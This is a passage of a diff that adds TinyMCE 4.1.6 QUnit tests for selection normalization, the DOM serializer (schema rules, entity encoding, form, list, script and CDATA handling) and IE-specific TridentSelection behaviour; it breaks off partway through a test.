+		equal(rng.endContainer.nodeName, '#text', 'endContainer node name');
+		equal(rng.endOffset, 1, 'endOffset offset');
+	});
+
+	test('normalize caret after bogus block BR', function() {
+		var rng;
+
+		editor.setContent('<p><br /></p>');
+		rng = editor.dom.createRng();
+		rng.setStart(editor.getBody().firstChild, 1);
+		rng.setEnd(editor.getBody().firstChild, 1);
+		editor.selection.setRng(rng);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, 'P', 'startContainer node name');
+		equal(rng.startOffset, 0, 'startContainer offset');
+		equal(rng.endContainer.nodeName, 'P', 'endContainer node name');
+		equal(rng.endOffset, 0, 'endOffset offset');
+	});
+
+/*
+	test('normalize caret after last BR in block', function() {
+		var rng;
+
+		editor.setContent('<p><br /><br /></p>');
+		rng = editor.dom.createRng();
+		rng.setStart(editor.getBody().firstChild, 2);
+		rng.setEnd(editor.getBody().firstChild, 2);
+		editor.selection.setRng(rng);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, 'P', 'startContainer node name');
+		equal(rng.startOffset, 1, 'startContainer offset');
+		equal(rng.endContainer.nodeName, 'P', 'endContainer node name');
+		equal(rng.endOffset, 1, 'endOffset offset');
+	});
+*/
+
+	test('normalize caret after double BR', function() {
+		var rng;
+
+		editor.setContent('<p>a<br /><br /></p>');
+		rng = editor.dom.createRng();
+		rng.setStart(editor.getBody().firstChild, 3);
+		rng.setEnd(editor.getBody().firstChild, 3);
+		editor.selection.setRng(rng);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, 'P', 'startContainer node name');
+		equal(rng.startOffset, 3, 'startContainer offset');
+		equal(rng.endContainer.nodeName, 'P', 'endContainer node name');
+		equal(rng.endOffset, 3, 'endOffset offset');
+	});
+}
+
+test('custom elements', function() {
+	var rng;
+
+	editor.setContent('<custom1>test</custom1><custom2>test</custom2>');
+
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 2);
+	editor.selection.setRng(rng);
+
+	equal(editor.selection.getContent(), '<custom1>test</custom1><custom2>test</custom2>');
+});
+
+test('selectorChanged', function() {
+	var newState, newArgs;
+
+	editor.selection.selectorChanged('a[href]', function(state, args) {
+		newState = state;
+		newArgs = args;
+	});
+
+	editor.getBody().innerHTML = '<p><a href="#">text</a></p>';
+	Utils.setSelection('a', 0, 'a', 4);
+	editor.nodeChanged();
+
+	ok(newState);
+	equal(newArgs.selector, 'a[href]');
+	equal(newArgs.node, editor.getBody().firstChild.firstChild);
+	equal(newArgs.parents.length, 2);
+
+	editor.getBody().innerHTML = '<p>text</p>';
+	Utils.setSelection('p', 0, 'p', 4);
+	editor.nodeChanged();
+	equal(newArgs.selector, 'a[href]');
+	equal(newArgs.node, editor.getBody().firstChild);
+	equal(newArgs.parents.length, 1);
+});
+
+test('setRng', function() {
+	var rng = editor.dom.createRng();
+
+	editor.setContent('<p>x</p>');
+	rng.setStart(editor.$('p')[0].firstChild, 0);
+	rng.setEnd(editor.$('p')[0].firstChild, 1);
+
+	editor.selection.setRng(rng);
+	editor.selection.setRng(null);
+
+	rng = editor.selection.getRng(true);
+	equal(rng.startContainer.nodeName, '#text');
+	equal(rng.startOffset, 0);
+	equal(rng.endContainer.nodeName, '#text');
+	equal(rng.endOffset, 1);
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/dom/Serializer.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/dom/Serializer.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/dom/Serializer.js	(revision 33402)
@@ -0,0 +1,501 @@
+var DOM = tinymce.DOM;
+
+module("tinymce.dom.Serializer", {
+	setupModule: function() {
+		document.getElementById('view').innerHTML = '<div id="content"><div id="test"></div></div>';
+	}
+});
+
+test('Schema rules', function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+
+	expect(8);
+
+	ser.setRules('@[id|title|class|style],div,img[src|alt|-style|border],span,hr');
+	DOM.setHTML('test', '<img title="test" src="tinymce/ui/img/raster.gif" data-mce-src="tinymce/ui/img/raster.gif" alt="test" border="0" style="border: 1px solid red" class="test" /><span id="test2">test</span><hr />');
+	equal(ser.serialize(DOM.get('test')), '<div id="test"><img title="test" class="test" src="tinymce/ui/img/raster.gif" alt="test" border="0" /><span id="test2">test</span><hr /></div>', 'Global rule');
+
+	ser.setRules('*a[*],em/i[*],strong/b[*i*]');
+	DOM.setHTML('test', '<a href="test" data-mce-href="test">test</a><strong title="test" class="test">test2</strong><em title="test">test3</em>');
+	equal(ser.serialize(DOM.get('test')), '<a href="test">test</a><strong title="test">test2</strong><em title="test">test3</em>', 'Wildcard rules');
+
+	ser.setRules('br,hr,input[type|name|value],div[id],span[id],strong/b,a,em/i,a[!href|!name],img[src|border=0|title={$uid}]');
+	DOM.setHTML('test', '<br /><hr /><input type="text" name="test" value="val" class="no" /><span id="test2" class="no"><b class="no">abc</b><em class="no">123</em></span>123<a href="file.html"  data-mce-href="file.html">link</a><a name="anchor"></a><a>no</a><img src="tinymce/ui/img/raster.gif" data-mce-src="tinymce/ui/img/raster.gif" />');
+	equal(ser.serialize(DOM.get('test')), '<div id="test"><br /><hr /><input type="text" name="test" value="val" /><span id="test2"><strong>abc</strong><em>123</em></span>123<a href="file.html">link</a><a name="anchor"></a>no<img src="tinymce/ui/img/raster.gif" border="0" title="mce_0" /></div>', 'Output name and attribute rules');
+
+	ser.setRules('a[href|target<_blank?_top|title:forced value]');
+	DOM.setHTML('test', '<a href="file.htm" data-mce-href="file.htm" target="_blank" title="title">link</a><a href="#" data-mce-href="#" target="test">test2</a>');
+	equal(ser.serialize(DOM.get('test')), '<a href="file.htm" target="_blank" title="forced value">link</a><a href="#" title="forced value">test2</a>');
+
+	ser.setRules('img[src|border=0|alt=]');
+	DOM.setHTML('test', '<img src="tinymce/ui/img/raster.gif" data-mce-src="tinymce/ui/img/raster.gif" border="0" alt="" />');
+	equal(ser.serialize(DOM.get('test')), '<img src="tinymce/ui/img/raster.gif" border="0" alt="" />', 'Default attribute with empty value');
+
+	ser.setRules('img[src|border=0|alt=],*[*]');
+	DOM.setHTML('test', '<img src="tinymce/ui/img/raster.gif" data-mce-src="tinymce/ui/img/raster.gif" /><hr />');
+	equal(ser.serialize(DOM.get('test')), '<div id="test"><img src="tinymce/ui/img/raster.gif" border="0" alt="" /><hr /></div>');
+
+	ser = new tinymce.dom.Serializer({
+		valid_elements : 'img[src|border=0|alt=]',
+		extended_valid_elements : 'div[id],img[src|alt=]'
+	});
+	DOM.setHTML('test', '<img src="tinymce/ui/img/raster.gif" data-mce-src="tinymce/ui/img/raster.gif" alt="" />');
+	equal(ser.serialize(DOM.get('test')), '<div id="test"><img src="tinymce/ui/img/raster.gif" alt="" /></div>');
+
+	ser = new tinymce.dom.Serializer({invalid_elements : 'hr,br'});
+	DOM.setHTML('test', '<img src="tinymce/ui/img/raster.gif" data-mce-src="tinymce/ui/img/raster.gif" /><hr /><br />');
+	equal(ser.serialize(DOM.get('test')), '<div id="test"><img src="tinymce/ui/img/raster.gif" alt="" /></div>');
+});
+
+test('Entity encoding', function() {
+	var ser;
+
+	expect(4);
+
+	ser = new tinymce.dom.Serializer({entity_encoding : 'numeric'});
+	DOM.setHTML('test', '&lt;&gt;&amp;&quot;&nbsp;&aring;&auml;&ouml;');
+	equal(ser.serialize(DOM.get('test')), '<div id="test">&lt;&gt;&amp;"&#160;&#229;&#228;&#246;</div>');
+
+	ser = new tinymce.dom.Serializer({entity_encoding : 'named'});
+	DOM.setHTML('test', '&lt;&gt;&amp;&quot;&nbsp;&aring;&auml;&ouml;');
+	equal(ser.serialize(DOM.get('test')), '<div id="test">&lt;&gt;&amp;"&nbsp;&aring;&auml;&ouml;</div>');
+
+	ser = new tinymce.dom.Serializer({entity_encoding : 'named+numeric', entities : '160,nbsp,34,quot,38,amp,60,lt,62,gt'});
+	DOM.setHTML('test', '&lt;&gt;&amp;&quot;&nbsp;&aring;&auml;&ouml;');
+	equal(ser.serialize(DOM.get('test')), '<div id="test">&lt;&gt;&amp;"&nbsp;&#229;&#228;&#246;</div>');
+
+	ser = new tinymce.dom.Serializer({entity_encoding : 'raw'});
+	DOM.setHTML('test', '&lt;&gt;&amp;&quot;&nbsp;&aring;&auml;&ouml;');
+	equal(ser.serialize(DOM.get('test')), '<div id="test">&lt;&gt;&amp;"\u00a0\u00e5\u00e4\u00f6</div>');
+});
+
+test('Form elements (general)', function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+
+	expect(5);
+
+	ser.setRules('form[method],label[for],input[type|name|value|checked|disabled|readonly|length|maxlength],select[multiple],option[value|selected],textarea[name|disabled|readonly]');
+
+	DOM.setHTML('test', '<input type="text" />');
+	equal(ser.serialize(DOM.get('test')), '<input type="text" />');
+
+	DOM.setHTML('test', '<input type="text" value="text" length="128" maxlength="129" />');
+	equal(ser.serialize(DOM.get('test')), '<input type="text" value="text" length="128" maxlength="129" />');
+
+	DOM.setHTML('test', '<form method="post"><input type="hidden" name="method" value="get" /></form>');
+	equal(ser.serialize(DOM.get('test')), '<form method="post"><input type="hidden" name="method" value="get" /></form>');
+
+	DOM.setHTML('test', '<label for="test">label</label>');
+	equal(ser.serialize(DOM.get('test')), '<label for="test">label</label>');
+
+	DOM.setHTML('test', '<input type="checkbox" value="test" /><input type="button" /><textarea></textarea>');
+	equal(ser.serialize(DOM.get('test')), '<input type="checkbox" value="test" /><input type="button" /><textarea></textarea>');
+});
+
+test('Form elements (checkbox)', function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+
+	expect(4);
+
+	ser.setRules('form[method],label[for],input[type|name|value|checked|disabled|readonly|length|maxlength],select[multiple],option[value|selected]');
+
+	DOM.setHTML('test', '<input type="checkbox" value="1">');
+	equal(ser.serialize(DOM.get('test')), '<input type="checkbox" value="1" />');
+
+	DOM.setHTML('test', '<input type="checkbox" value="1" checked disabled readonly>');
+	equal(ser.serialize(DOM.get('test')), '<input type="checkbox" value="1" checked="checked" disabled="disabled" readonly="readonly" />');
+
+	DOM.setHTML('test', '<input type="checkbox" value="1" checked="1" disabled="1" readonly="1">');
+	equal(ser.serialize(DOM.get('test')), '<input type="checkbox" value="1" checked="checked" disabled="disabled" readonly="readonly" />');
+
+	DOM.setHTML('test', '<input type="checkbox" value="1" checked="true" disabled="true" readonly="true">');
+	equal(ser.serialize(DOM.get('test')), '<input type="checkbox" value="1" checked="checked" disabled="disabled" readonly="readonly" />');
+});
+
+test('Form elements (select)', function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+
+	expect(7);
+
+	ser.setRules('form[method],label[for],input[type|name|value|checked|disabled|readonly|length|maxlength],select[multiple],option[value|selected]');
+
+	DOM.setHTML('test', '<select><option value="1">test1</option><option value="2" selected>test2</option></select>');
+	equal(ser.serialize(DOM.get('test')), '<select><option value="1">test1</option><option value="2" selected="selected">test2</option></select>');
+
+	DOM.setHTML('test', '<select><option value="1">test1</option><option selected="1" value="2">test2</option></select>');
+	equal(ser.serialize(DOM.get('test')), '<select><option value="1">test1</option><option value="2" selected="selected">test2</option></select>');
+
+	DOM.setHTML('test', '<select><option value="1">test1</option><option value="2" selected="true">test2</option></select>');
+	equal(ser.serialize(DOM.get('test')), '<select><option value="1">test1</option><option value="2" selected="selected">test2</option></select>');
+
+	DOM.setHTML('test', '<select multiple></select>');
+	equal(ser.serialize(DOM.get('test')), '<select multiple="multiple"></select>');
+
+	DOM.setHTML('test', '<select multiple="multiple"></select>');
+	equal(ser.serialize(DOM.get('test')), '<select multiple="multiple"></select>');
+
+	DOM.setHTML('test', '<select multiple="1"></select>');
+	equal(ser.serialize(DOM.get('test')), '<select multiple="multiple"></select>');
+
+	DOM.setHTML('test', '<select></select>');
+	equal(ser.serialize(DOM.get('test')), '<select></select>');
+});
+
+test('List elements', function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+
+	expect(5);
+
+	ser.setRules('ul[compact],ol,li');
+
+	DOM.setHTML('test', '<ul compact></ul>');
+	equal(ser.serialize(DOM.get('test')), '<ul compact="compact"></ul>');
+
+	DOM.setHTML('test', '<ul compact="compact"></ul>');
+	equal(ser.serialize(DOM.get('test')), '<ul compact="compact"></ul>');
+
+	DOM.setHTML('test', '<ul compact="1"></ul>');
+	equal(ser.serialize(DOM.get('test')), '<ul compact="compact"></ul>');
+
+	DOM.setHTML('test', '<ul></ul>');
+	equal(ser.serialize(DOM.get('test')), '<ul></ul>');
+
+	DOM.setHTML('test', '<ol><li>a</li><ol><li>b</li><li>c</li></ol><li>e</li></ol>');
+	equal(ser.serialize(DOM.get('test')), '<ol><li>a<ol><li>b</li><li>c</li></ol></li><li>e</li></ol>');
+});
+
+test('Tables', function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+
+	expect(4);
+
+	ser.setRules('table,tr,td[nowrap]');
+
+	DOM.setHTML('test', '<table><tr><td></td></tr></table>');
+	equal(ser.serialize(DOM.get('test')), '<table><tr><td></td></tr></table>');
+
+	DOM.setHTML('test', '<table><tr><td nowrap></td></tr></table>');
+	equal(ser.serialize(DOM.get('test')), '<table><tr><td nowrap="nowrap"></td></tr></table>');
+
+	DOM.setHTML('test', '<table><tr><td nowrap="nowrap"></td></tr></table>');
+	equal(ser.serialize(DOM.get('test')), '<table><tr><td nowrap="nowrap"></td></tr></table>');
+
+	DOM.setHTML('test', '<table><tr><td nowrap="1"></td></tr></table>');
+	equal(ser.serialize(DOM.get('test')), '<table><tr><td nowrap="nowrap"></td></tr></table>');
+});
+
+test('Styles', function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+
+	expect(1);
+
+	ser.setRules('*[*]');
+
+	DOM.setHTML('test', '<span style="border: 1px solid red" data-mce-style="border: 1px solid red;">test</span>');
+	equal(ser.serialize(DOM.get('test')), '<div id="test"><span style="border: 1px solid red;">test</span></div>');
+});
+
+test('Comments', function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+
+	expect(1);
+
+	ser.setRules('*[*]');
+
+	DOM.setHTML('test', '<!-- abc -->');
+	equal(ser.serialize(DOM.get('test')), '<div id="test"><!-- abc --></div>');
+});
+
+test('Non HTML elements and attributes', function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+
+	expect(2);
+
+	ser.setRules('*[*]');
+	ser.schema.addValidChildren('+div[prefix:test]');
+
+	DOM.setHTML('test', '<div test:attr="test">test</div>');
+	equal(ser.serialize(DOM.get('test'), {getInner : 1}), '<div test:attr="test">test</div>');
+
+	DOM.setHTML('test', 'test1<prefix:test>Test</prefix:test>test2');
+	equal(ser.serialize(DOM.get('test')), '<div id="test">test1<prefix:test>Test</prefix:test>test2</div>');
+});
+
+test('Padd empty elements', function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+
+	expect(1);
+
+	ser.setRules('#p');
+
+	DOM.setHTML('test', '<p>test</p><p></p>');
+	equal(ser.serialize(DOM.get('test')), '<p>test</p><p>&nbsp;</p>');
+});
+
+test('Remove empty elements', function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+
+	expect(1);
+
+	ser.setRules('-p');
+
+	DOM.setHTML('test', '<p>test</p><p></p>');
+	equal(ser.serialize(DOM.get('test')), '<p>test</p>');
+});
+
+test('Pre/post process events', function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+
+	expect(3);
+
+	ser.setRules('div[id],span[id|class],a[href],b[class]');
+
+	ser.onPreProcess = function(o) {
+		equal(o.test, 'abc');
+		DOM.setAttrib(o.node.getElementsByTagName('span')[0], 'class', 'abc');
+	};
+
+	ser.onPostProcess = function(o) {
+		equal(o.test, 'abc');
+		o.content = o.content.replace(/<b>/g, '<b class="123">');
+	};
+
+	DOM.setHTML('test', '<span id="test2"><b>abc</b></span>123<a href="file.html" data-mce-href="file.html">link</a>');
+	equal(ser.serialize(DOM.get('test'), {test : 'abc'}), '<div id="test"><span id="test2" class="abc"><b class="123">abc</b></span>123<a href="file.html">link</a></div>');
+});
+
+test('Script with non JS type attribute', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+	ser.setRules('script[type|language|src]');
+
+	DOM.setHTML('test', '<s'+'cript type="mylanguage"></s'+'cript>');
+	equal(ser.serialize(DOM.get('test')).replace(/\r/g, ''), '<s'+'cript type="mylanguage"></s'+'cript>');
+});
+
+test('Script with tags inside a comment', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+	ser.setRules('script[type|language|src]');
+
+	DOM.setHTML('test', '<s'+'cript>// <img src="test"><a href="#"></a></s'+'cript>');
+	equal(ser.serialize(DOM.get('test')).replace(/\r/g, ''), '<s'+'cript>// <![CDATA[\n// <img src="test"><a href="#"></a>\n// ]]></s'+'cript>');
+});
+
+test('Script with less than', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+	ser.setRules('script[type|language|src]');
+
+	DOM.setHTML('test', '<s'+'cript>1 < 2;</s'+'cript>');
+	equal(ser.serialize(DOM.get('test')).replace(/\r/g, ''), '<s'+'cript>// <![CDATA[\n1 < 2;\n// ]]></s'+'cript>');
+});
+
+test('Script with type attrib and less than', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+	ser.setRules('script[type|language|src]');
+
+	DOM.setHTML('test', '<s'+'cript type="text/javascript">1 < 2;</s'+'cript>');
+	equal(ser.serialize(DOM.get('test')).replace(/\r/g, ''), '<script type="text/javascript">// <![CDATA[\n1 < 2;\n// ]]></s'+'cript>');
+});
+
+test('Script with whitespace in beginning/end', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+	ser.setRules('script[type|language|src]');
+
+	DOM.setHTML('test', '<script>\n\t1 < 2;\n\t if (2 < 1)\n\t\talert(1);\n</s'+'cript>');
+	equal(ser.serialize(DOM.get('test')).replace(/\r/g, ''), '<s'+'cript>// <![CDATA[\n\t1 < 2;\n\t if (2 < 1)\n\t\talert(1);\n// ]]></s'+'cript>');
+});
+
+test('Script with a HTML comment and less than', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+	ser.setRules('script[type|language|src]');
+
+	DOM.setHTML('test', '<script><!-- 1 < 2; // --></s'+'cript>');
+	equal(ser.serialize(DOM.get('test')).replace(/\r/g, ''), '<s'+'cript>// <![CDATA[\n1 < 2;\n// ]]></s'+'cript>');
+});
+
+test('Script with white space in beginning, comment and less than', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+	ser.setRules('script[type|language|src]');
+
+	DOM.setHTML('test', '<script>\n\n<!-- 1 < 2;\n\n--></s'+'cript>');
+	equal(ser.serialize(DOM.get('test')).replace(/\r/g, ''), '<s'+'cript>// <![CDATA[\n1 < 2;\n// ]]></s'+'cript>');
+});
+
+test('Script with comments and cdata', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+	ser.setRules('script[type|language|src]');
+
+	DOM.setHTML('test', '<script>// <![CDATA[1 < 2; // ]]></s'+'cript>');
+	equal(ser.serialize(DOM.get('test')).replace(/\r/g, ''), '<s'+'cript>// <![CDATA[\n1 < 2;\n// ]]></s'+'cript>');
+});
+
+test('Script with cdata', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+	ser.setRules('script[type|language|src]');
+
+	DOM.setHTML('test', '<script><![CDATA[1 < 2; ]]></s'+'cript>');
+	equal(ser.serialize(DOM.get('test')).replace(/\r/g, ''), '<s'+'cript>// <![CDATA[\n1 < 2;\n// ]]></s'+'cript>');
+});
+
+test('Script whitespace in beginning/end and cdata', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+	ser.setRules('script[type|language|src]');
+
+	DOM.setHTML('test', '<script>\n\n<![CDATA[\n\n1 < 2;\n\n]]>\n\n</s'+'cript>');
+	equal(ser.serialize(DOM.get('test')).replace(/\r/g, ''), '<s'+'cript>// <![CDATA[\n1 < 2;\n// ]]></s'+'cript>');
+});
+
+test('Script with src attr', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+	ser.setRules('script[type|language|src]');
+
+	DOM.setHTML('test', '<script src="test.js" data-mce-src="test.js"></s'+'cript>');
+	equal(ser.serialize(DOM.get('test')), '<s'+'cript src="test.js"></s'+'cript>');
+});
+
+test('Script with HTML comment, comment and CDATA', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+	ser.setRules('script[type|language|src]');
+
+	DOM.setHTML('test', '<script><!--// <![CDATA[var hi = "hello";// ]]>--></s'+'cript>');
+	equal(ser.serialize(DOM.get('test')), '<script>// <![CDATA[\nvar hi = \"hello\";\n// ]]></s'+'cript>');
+});
+
+test('Script with block comment around cdata', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+	ser.setRules('script[type|language|src]');
+
+	DOM.setHTML('test', '<script>/* <![CDATA[ */\nvar hi = "hello";\n/* ]]> */</s'+'cript>');
+	equal(ser.serialize(DOM.get('test')), '<script>// <![CDATA[\nvar hi = \"hello\";\n// ]]></s'+'cript>');
+});
+
+test('Script with html comment and block comment around cdata', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+	ser.setRules('script[type|language|src]');
+
+	DOM.setHTML('test', '<script><!-- /* <![CDATA[ */\nvar hi = "hello";\n/* ]]>*/--></s'+'cript>');
+	equal(ser.serialize(DOM.get('test')), '<script>// <![CDATA[\nvar hi = \"hello\";\n// ]]></s'+'cript>');
+});
+
+test('Script with line comment and html comment', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+	ser.setRules('script[type|language|src]');
+
+	DOM.setHTML('test', '<script>// <!--\nvar hi = "hello";\n// --></s'+'cript>');
+	equal(ser.serialize(DOM.get('test')), '<script>// <![CDATA[\nvar hi = \"hello\";\n// ]]></s'+'cript>');
+});
+
+test('Script with block comment around html comment', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+	ser.setRules('script[type|language|src]');
+
+	DOM.setHTML('test', '<script>/* <!-- */\nvar hi = "hello";\n/*-->*/</s'+'cript>');
+	equal(ser.serialize(DOM.get('test')), '<script>// <![CDATA[\nvar hi = \"hello\";\n// ]]></s'+'cript>');
+});
+
+test('Protected blocks', function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+
+	expect(3);
+
+	ser.setRules('noscript[test]');
+
+	DOM.setHTML('test', '<!--mce:protected ' + escape('<noscript test="test"><br></noscript>') + '-->');
+	equal(ser.serialize(DOM.get('test')), '<noscript test="test"><br></noscript>');
+
+	DOM.setHTML('test', '<!--mce:protected ' + escape('<noscript><br></noscript>') + '-->');
+	equal(ser.serialize(DOM.get('test')), '<noscript><br></noscript>');
+
+	DOM.setHTML('test', '<!--mce:protected ' + escape('<noscript><!-- text --><br></noscript>') + '-->');
+	equal(ser.serialize(DOM.get('test')), '<noscript><!-- text --><br></noscript>');
+});
+
+test('Style with whitespace at beginning', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true, valid_children: '+body[style]'});
+	ser.setRules('style');
+
+	DOM.setHTML('test', '<style> body { background:#fff }</style>');
+	equal(ser.serialize(DOM.get('test')).replace(/\r/g, ''), '<style><!--\n body { background:#fff }\n--></style>');
+});
+
+test('Style with cdata', 1, function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true, valid_children: '+body[style]'});
+	ser.setRules('style');
+
+	DOM.setHTML('test', '<style>\r\n<![CDATA[\r\n   body { background:#fff }]]></style>');
+	equal(ser.serialize(DOM.get('test')).replace(/\r/g, ''), '<style><!--\nbody { background:#fff }\n--></style>');
+});
+
+test('CDATA', function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+
+	expect(2);
+
+	ser.setRules('span');
+
+	DOM.setHTML('test', '123<!--[CDATA[<test>]]-->abc');
+	equal(ser.serialize(DOM.get('test')), '123<![CDATA[<test>]]>abc');
+
+	DOM.setHTML('test', '123<!--[CDATA[<te\n\nst>]]-->abc');
+	equal(ser.serialize(DOM.get('test')).replace(/\r/g, ''), '123<![CDATA[<te\n\nst>]]>abc');
+});
+
+test('BR at end of blocks', function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+
+	ser.setRules('ul,li,br');
+
+	DOM.setHTML('test', '<ul><li>test<br /></li><li>test<br /></li><li>test<br /></li></ul>');
+	equal(ser.serialize(DOM.get('test')), '<ul><li>test</li><li>test</li><li>test</li></ul>');
+});
+
+test('Map elements', function() {
+	var ser = new tinymce.dom.Serializer({fix_list_elements : true});
+
+	ser.setRules('map[id|name],area[shape|coords|href|target|alt]');
+
+	DOM.setHTML('test', '<map id="planetmap" name="planetmap"><area shape="rect" coords="0,0,82,126" href="sun.htm" data-mce-href="sun.htm" target="_blank" alt="sun" /></map>');
+	equal(ser.serialize(DOM.get('test')).toLowerCase(), '<map id="planetmap" name="planetmap"><area shape="rect" coords="0,0,82,126" href="sun.htm" target="_blank" alt="sun" /></map>');
+});
+
+test('Custom elements', function() {
+	var ser = new tinymce.dom.Serializer({
+		custom_elements: 'custom1,~custom2',
+		valid_elements: 'custom1,custom2'
+	});
+
+	document.createElement('custom1');
+	document.createElement('custom2');
+
+	DOM.setHTML('test', '<p><custom1>c1</custom1><custom2>c2</custom2></p>');
+	equal(ser.serialize(DOM.get('test')), '<custom1>c1</custom1><custom2>c2</custom2>');
+});
+
+test('Remove internal classes', function() {
+	var ser = new tinymce.dom.Serializer({
+		valid_elements: 'span[class]'
+	});
+
+	DOM.setHTML('test', '<span class="a mce-item-X mce-item-selected b"></span>');
+	equal(ser.serialize(DOM.get('test')), '<span class="a b"></span>');
+
+	DOM.setHTML('test', '<span class="a mce-item-X"></span>');
+	equal(ser.serialize(DOM.get('test')), '<span class="a"></span>');
+
+	DOM.setHTML('test', '<span class="mce-item-X"></span>');
+	equal(ser.serialize(DOM.get('test')), '<span></span>');
+
+	DOM.setHTML('test', '<span class="mce-item-X b"></span>');
+	equal(ser.serialize(DOM.get('test')), '<span class=" b"></span>');
+
+	DOM.setHTML('test', '<span class="b mce-item-X"></span>');
+	equal(ser.serialize(DOM.get('test')), '<span class="b"></span>');
+});
+
+test('Restore tabindex', function() {
+	var ser = new tinymce.dom.Serializer({
+		valid_elements: 'span[tabindex]'
+	});
+
+	DOM.setHTML('test', '<span data-mce-tabindex="42"></span>');
+	equal(ser.serialize(DOM.get('test')), '<span tabindex="42"></span>');
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/dom/TridentSelection.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/dom/TridentSelection.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/dom/TridentSelection.js	(revision 33402)
@@ -0,0 +1,544 @@
+module("tinymce.dom.TridentSelection", {
+	setupModule: function() {
+		if (window.getSelection) {
+			return;
+		}
+
+		QUnit.stop();
+		document.getElementById('view').innerHTML = '<textarea></textarea>';
+
+		tinymce.init({
+			selector: "textarea",
+			elements: "elm1",
+			plugins: wpPlugins,
+			add_unload_trigger: false,
+			disable_nodechange: true,
+			skin: false,
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+				QUnit.start();
+			}
+		});
+	}
+});
+
+if (!window.getSelection) {
+	test("Selection of element containing text", function(){
+		expect(5);
+		
+		editor.setContent('<p>123</p>', {
+			format: 'raw'
+		});
+		
+		var rng = editor.dom.createRng();
+		rng.setStart(editor.getBody(), 0);
+		rng.setEnd(editor.getBody(), 1);
+		editor.selection.setRng(rng);
+		
+		rng = editor.selection.getRng(1);
+		equal(rng.startContainer.nodeName, '#text', 'Start container is text node');
+		equal(rng.endContainer.nodeName, '#text', 'End container is text node');
+		equal(rng.startOffset, 0, 'Start of text node');
+		equal(rng.endOffset, 3, 'End of text node');
+		equal(editor.dom.getOuterHTML(rng.cloneContents()), '123', 'Contents matches');
+	});
+	
+	test("Single image selection", function(){
+		expect(6);
+		
+		editor.setContent('<p><img src="about:blank" /></p>', {
+			format: 'raw'
+		});
+		
+		var rng = editor.dom.createRng();
+		rng.setStartBefore(editor.dom.select('img')[0]);
+		rng.setEndAfter(editor.dom.select('img')[0]);
+		editor.selection.setRng(rng);
+		
+		rng = editor.selection.getRng(1);
+		equal(rng.startContainer.nodeName, 'P', 'Check startContainer');
+		equal(rng.endContainer.nodeName, 'P', 'Check endContainer');
+		equal(rng.startOffset, 0, 'Check startOffset');
+		equal(rng.endOffset, 1, 'Check endOffset');
+		equal(Utils.cleanHtml(editor.dom.getOuterHTML(rng.cloneContents()).toLowerCase()), '<img src="about:blank">', 'Check contents');
+		ok(editor.selection.getRng().item, 'Check if it\'s a control selection');
+	});
+	
+	test("Multiple image selection", function(){
+		expect(6);
+		
+		editor.setContent('<p><img src="about:blank" /><img src="about:blank" /></p>', {
+			format: 'raw'
+		});
+		
+		var rng = editor.dom.createRng();
+		rng.setStartBefore(editor.dom.select('img')[0]);
+		rng.setEndAfter(editor.dom.select('img')[1]);
+		editor.selection.setRng(rng);
+		
+		rng = editor.selection.getRng(1);
+		equal(rng.startContainer.nodeName, 'P');
+		equal(rng.endContainer.nodeName, 'P');
+		equal(rng.startOffset, 0);
+		equal(rng.endOffset, 2);
+		equal(editor.dom.getOuterHTML(rng.cloneContents()).toLowerCase(), '<img src="about:blank"><img src="about:blank">');
+		ok(editor.selection.getRng().parentElement, 'Is text selection');
+	});
+	
+	test("Text node selection", function(){
+		expect(5);
+		
+		editor.setContent('<p>1234</p>', {
+			format: 'raw'
+		});
+		
+		var rng = editor.dom.createRng();
